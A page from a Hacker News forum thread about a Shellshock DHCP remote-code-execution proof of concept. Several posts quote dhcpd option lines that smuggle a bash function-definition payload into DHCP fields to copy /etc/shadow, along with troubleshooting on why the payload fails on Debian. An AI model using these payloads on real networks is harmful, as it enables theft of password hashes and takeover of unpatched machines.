Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Shellshock DHCP Remote Code Execution – Proof of Concept

trustedsec.com

Post reply on HN
Print view View original

41–50 of 160 posts

Re: Shellshock DHCP Remote Code Execution – Proof of Concept

#43

Post by exploit »

I've tried to replay this attack in VM environment using Debian, but no luck.

option dhcp_114_FW_URL code 114 = text; option dhcp_114_FW_URL "() { ignored;}; cat /etc/shadow > /tmp/shadow"

or

option domain-name "() { :;}; cat /etc/shadow > /tmp/shadow";

not working.

dhcpdump says that option sends correctly: OPTION: 53 ( 1) DHCP message type 5 (DHCPACK) OPTION: 54 ( 4) Server identifier 192.168.1.1 OPTION: 51 ( 4) IP address leasetime 600 (10m) OPTION: 1 ( 4) Subnet mask 255.255.255.0 OPTION: 3 ( 4) Routers 192.168.1.1 OPTION: 15 ( 39) Domainname () { :;}; cat /etc/shadow > /tmp/shadow

What could be the problem?

Re: Shellshock DHCP Remote Code Execution – Proof of Concept

#44

Post by ossreality »

hardwaresofton wrote: post #35

Yeah, I don't think anyone has grasped the extent of how dangerous this vuln is -- was it released a little prematurely? is it still in "embargo"? This is hundreds of times worse than heartbleed in terms of scope/attack surface for modern servers... (I say hundreds of times worse because heartbleed was scrape-some-data-till-you-get-private-keys-and-watch-communication, where this is just get-yourself-a-shell-and-pwn-…

lmao "embargo" seriously? How are there still people in every single one of these threads whining about responsible disclosure. The fact that they tried to "responsibly disclose" and "embargo" and THIS is what happened is proof of why not to even bother. So silly...

Re: Shellshock DHCP Remote Code Execution – Proof of Concept

#45

Post by lambda »

exploit wrote: post #43

I've tried to replay this attack in VM environment using Debian, but no luck. option dhcp_114_FW_URL code 114 = text; option dhcp_114_FW_URL "() { ignored;}; cat /etc/shadow > /tmp/shadow" or option domain-name "() { :;}; cat /etc/shadow > /tmp/shadow"; not working. dhcpdump says that option sends correctly: OPTION: 53 ( 1) DHCP message type 5 (DHCPACK) OPTION: 54 ( 4) Server identifier 192.168.1.1 OPTION: 51 ( 4) IP…

What were you using to configure networking on the target machine? NetworkManager, ifupdown, something else?

I found that with ifupdown, you see the issue, as it uses dhclient which in turn calls out to dhclient-script, which is written in bash. If you use NetworkManager, it doesn't call dhclient-script; it does however call the scripts in /etc/network/if-.d, and if any of those are written in bash, then you see the issue. None of the scripts in /etc/network/if-.d on my system used bash, they all used /bin/sh, so on a Debian system where that points to dash instead of bash you're OK.

Re: Shellshock DHCP Remote Code Execution – Proof of Concept

#46

Post by dubfan »

mr_brown wrote: post #12

I believe there will be plenty of linux NASs that will be vulnerable for the forseeable future. NASs are usually bigger and more functional than routers, they tend to run a more full system. Many of these for exampe run bash as far as I remember: http://www.amazon.com/s/field-keywords=QNAP

Given the rate at which QNAP issues updates I'm not expecting it to be fixed for at least another month, and that will most likely be a beta release. I like my QNAP NAS but I don't think I'd buy another QNAP product. They are just too unresponsive to these sorts of things.

Re: Shellshock DHCP Remote Code Execution – Proof of Concept

#47

Post by exploit »

lambda wrote: post #45
exploit wrote: post #43

I've tried to replay this attack in VM environment using Debian, but no luck. option dhcp_114_FW_URL code 114 = text; option dhcp_114_FW_URL "() { ignored;}; cat /etc/shadow > /tmp/shadow" or option domain-name "() { :;}; cat /etc/shadow > /tmp/shadow"; not working. dhcpdump says that option sends correctly: OPTION: 53 ( 1) DHCP message type 5 (DHCPACK) OPTION: 54 ( 4) Server identifier 192.168.1.1 OPTION: 51 ( 4) IP…

What were you using to configure networking on the target machine? NetworkManager, ifupdown, something else? I found that with ifupdown, you see the issue, as it uses dhclient which in turn calls out to dhclient-script, which is written in bash. If you use NetworkManager, it doesn't call dhclient-script; it does however call the scripts in /etc/network/if- .d, and if any of those are written in bash, then you see the…

Of course I've used dhclient for this (also with -r option) with ifconfig up/down. Not working. I've also tried to re-simlink sh to bash. Not working. I'd like to check py script by mschwager (https://github.com/mschwager/shellshock_poc), may be it will be OK.

Re: Shellshock DHCP Remote Code Execution – Proof of Concept

#49

Post by phunge »

exploit wrote: post #43

I've tried to replay this attack in VM environment using Debian, but no luck. option dhcp_114_FW_URL code 114 = text; option dhcp_114_FW_URL "() { ignored;}; cat /etc/shadow > /tmp/shadow" or option domain-name "() { :;}; cat /etc/shadow > /tmp/shadow"; not working. dhcpdump says that option sends correctly: OPTION: 53 ( 1) DHCP message type 5 (DHCPACK) OPTION: 54 ( 4) Server identifier 192.168.1.1 OPTION: 51 ( 4) IP…

I'm guessing it calls system() which uses /bin/sh which is symlinked to /bin/dash on debian, not /bin/bash?

Re: Shellshock DHCP Remote Code Execution – Proof of Concept

#50

Post by dmethvin »

orblivion wrote: post #41
SchizoDuckie wrote: post #26

Holy shit that is scary. Package this on an android phone and you can wreak havoc on any random network

Assuming it's a network full of machines who haven't bothered updating yet. EDIT: right?

Um, "haven't bothered"? Think about all the Linux/Unix-based devices that could be affected here, it's in the millions. Do you run a local server on your box? How about your Linux-based router? Has it been patched yet? Why not, it's been more than 24 hours now.
Post reply on HN